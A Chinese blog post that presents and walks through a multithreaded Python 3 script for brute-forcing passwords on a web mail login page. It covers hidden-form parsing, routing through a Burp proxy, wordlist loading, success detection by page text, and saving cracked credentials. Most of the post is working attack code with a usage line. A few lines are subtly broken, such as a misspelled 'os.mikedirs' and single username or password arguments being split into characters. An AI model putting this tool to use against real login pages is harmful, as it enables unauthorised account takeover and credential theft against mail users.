多线程爆破脚本(python3)

起因,,,其实就是老板派的活,结合以前写过的脚本,略微完善了一下下,比较合适作为简单参考,找找代码感觉。本文也主要是解释说明代码。

主要功能

脚本使用了命令行解析工具:argparser,所以直接-h查看帮助。

关于这个库的使用,可以参考我之前写过的blog:Python argparse模块详解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
➜  pythonCode python3 BingoBF.py -h
.--.
|o_o | ------------------
|:_/ | < Author: Mr.Bingo >
// \ \ ------------------
(| | ) < oddboy.cn >
/'\_ _/`\ ------------------
\___)=(___/

usage: BingoBF [options]

Brute Force 【https://mail.xxx.com] email's passwords.

optional arguments:
-h, --help show this help message and exit
-u USERNAME username
-U USERLIST usernames
-p PASSWORD password
-P PWDLIST passwords
-o OUTPUT print results to file
-t THREAD mutli threads, default 3 threads

+---+

代码解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import logging
import argparse
import queue
import requests
import threading
import os
import time
import random
from html.parser import HTMLParser
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# disable InsecureRequestWarning
# 由于目标站点使用的证书过期了,导致我在使用requests库请求时将verify设置为FALSE,同时配置了proxies(指向本地Burp)。而requests依赖的底层库urllib3总是报Warning,所以使用上面语句disable掉这个Warning。可以参考如下链接:
# https://stackoverflow.com/questions/27981545/suppress-insecurerequestwarning-unverified-https-request-is-being-made-in-pytho

logging.basicConfig(level=logging.WARNING) # 用logging,避免调试时满篇的print.(但本脚本中基本没怎么用。。。)

# general settings

target_url="https://mail.xxx.com/UserLogin.aspx"

writeFileLock = threading.Lock() # 创建文件锁,避免写文件冲突。
threadLock = threading.Lock() #创建线程锁,避免对显示效果的影响。

# 保存爆破结果
def saveFile(message,outfilePath):
with open(outfilePath, 'a+', encoding = 'utf8') as f: # 以追加的方法结果写入文件
f.write(message[0]+"\t")
f.write(message[1]+"\n")

# 自定义一个Exception类,用于显示自定义的异常。
class validcodeException(BaseException):
def __init__(self,mesg=" @@@@@@@@@@@@@@@ valid code is wrong!!!!!!!"):
print(mesg)

# 解析响应报文,主要用户提取服务器响应回来的表单字段,顶好用的玩意儿。官方文档:https://docs.python.org/3.6/library/html.parser.html?highlight=htmlparser
class BruteParser(HTMLParser):
def __init__(self):
HTMLParser.__init__(self)
self.tag_results = {}

def handle_starttag(self, tag, attrs):
if tag == "input":
tag_name = None
tag_value = None
for name, value in attrs:
if name == "name":
tag_name = value
if name == "value":
tag_value = value
if (tag_name == "__VIEWSTATE") or (tag_name == "__VIEWSTATEGENERATOR") or (tag_name == "__EVENTVALIDATION"):
self.tag_results[tag_name] = tag_value

# 核心实现类
class Bruter(object):
def __init__(self, threads,userList,pwdList,outfilePath):
self.user_q=userList
self.pwdlist=list(pwdList.queue) # 对于每个用户名,密码列表需要重复使用,所以不合适用队列,故而转换为list。
self.threads=threads
self.outfilePath=outfilePath
print("Total %d(%d * %d) tries( %d threads)"% (self.user_q.qsize()*len(self.pwdlist),self.user_q.qsize(),len(self.pwdlist),self.threads))

# 线程的创建与管理
def run_bruteforce(self):
thread_arr=[] # 线程列表list
for i in range(self.threads):
t = threading.Thread(target=self.web_bruter)
thread_arr.append(t) # 创建线程
for i in range(self.threads):
thread_arr[i].start() # 开启线程
for i in range(self.threads):
thread_arr[i].join() # 回归线程

# 核心方法
def web_bruter(self):
proxies = {
"http": "http://127.0.0.1:8080",
"https": "https://127.0.0.1:8080",
} # Burpsuite的代理地址

# 初始化cookie以及hidden元素数据。
response = requests.get(target_url,proxies=proxies,verify=False)
cookie=response.cookies

# 解析异常表单字段
parser = BruteParser()
parser.feed(response.text)
post_tags = parser.tag_results
post_tags['cmdSubmit.x']=random.randint(1,47) # 登录按钮图片 47x39像素
post_tags['cmdSubmit.y']=random.randint(1,39)

# 从队列中取需要爆破的用户名,在多线程中使用queue比较方便。
while not self.user_q.empty():
username = self.user_q.get().rstrip().decode("ascii")
for password in self.pwdlist:
password=password.decode("ascii")
post_tags["txtUsername"]=username
post_tags["txtPassword"]=password

threadLock.acquire() # 取得线程锁,使用线程锁,避免出现显示效果被打乱的情况。
# \r将光标回退到行首(\b回退一格),实现原地覆盖。
print(" \b\b"*100,end="") # 退两格,清空一格。 实现清空。
print("\rTrying: %15s : %15s (%d users left)" % (username,password, self.user_q.qsize()),end="")
#time.sleep(2) # 调试时使用的
threadLock.release() # 释放线程锁
reqResult = requests.post(target_url,data=post_tags,cookies=cookie,allow_redirects=True,proxies=proxies,verify=False)

if ("欢迎使用XXX邮件系统" in reqResult.text): # 爆破成功
threadLock.acquire() # 取得线程锁
print(" \b\b"*100,end="")
print ("\r[*] --> %15s\t%15s" % (username,password)) # 打印到窗口
#time.sleep(2)
threadLock.release() # 释放线程锁
if self.outfilePath is not None: # 输出到文件
# 获取文件锁
writeFileLock.acquire()
try:
# 追加到文件
saveFile((username,password),self.outfilePath)
finally:
# 释放锁
writeFileLock.release()
break # 跳出当前循环,进行下一个用户名爆破
if ("您输入的验证码不正确,请重新输入!" in reqResult.text): # 验证码错误,抛出异常!
raise validcodeException("验证码错误,需要检查代码!!!!☆☆☆☆☆☆☆")
exit # 退出! 理论上不会执行这一句。
# 由于该登陆点存在验证码失效的问题,所以按理不会出现验证码不准确的情况,故而,也没继续完善代码。 如有需要,可自行完善。

if ("对不起, 您输入的用户名或口令错误, 请重新输入。" in reqResult.text):
pass # 占一个坑,没鸟用
pass

#time.sleep(2)
# 读取文件,生成队列
def build_list(listFile):
# read in the list file
fd = open(listFile, "rb")
raw_words = fd.readlines()
fd.close()

words = queue.Queue()

for word in raw_words:
word = word.rstrip()
words.put(word)
return words


def main():
headCharPic="\r .--.\n |o_o | ------------------ \n |:_/ | < Author: Mr.Bingo >\n // \ \ ------------------ \n (| | ) < oddboy.cn >\n /'\_ _/`\ ------------------\n \___)=(___/\n"
print(headCharPic)
# 创建一个argparser解析器
parser=argparse.ArgumentParser(
prog="BingoBF",
usage=" %(prog)s [options] ",
description='Brute Force 【https://mail.xxx.com] email\'s passwords.',
epilog="+---+\n"
)

groupUser = parser.add_mutually_exclusive_group(required=True)
groupUser.add_argument('-u',dest="username",help="username")
groupUser.add_argument('-U',dest='userList',help="usernames")

groupPwd = parser.add_mutually_exclusive_group(required=True)
groupPwd.add_argument('-p',dest="password",help="password")
groupPwd.add_argument('-P',dest='pwdList',help="passwords")

parser.add_argument('-o',dest='output',help="print results to file")

parser.add_argument("-t",dest="thread",type=int,help="mutli threads, default 3 threads",default=3)

args=parser.parse_args() # 命令行参数解析

if args.username is not None:
userList=list(args.username)
else:
userList = build_list(args.userList)
if args.password is not None:
pwdList=list(args.password)
else:
pwdList = build_list(args.pwdList)

outfilePath = None
if args.output is not None:
outfilePath = args.output
filePath,fileName=os.path.split(outfilePath)
if (filePath!="") and (not os.path.exists(filePath)):
os.mikedirs(filePath) # 若不存在这个目录则递归创建

if args.thread is not None:
user_thread=args.thread

bruter_obj = Bruter(user_thread,userList,pwdList,outfilePath)
bruter_obj.run_bruteforce()

if __name__ == '__main__':
main()

调用sample

1
➜ ~ python3 BingoBF.py -U user.txt -P pwd.txt -o Outfile.txt

附赠

命令行中显示的企鹅字符画是用一个叫cowsay的工具弄的,感兴趣自己百谷。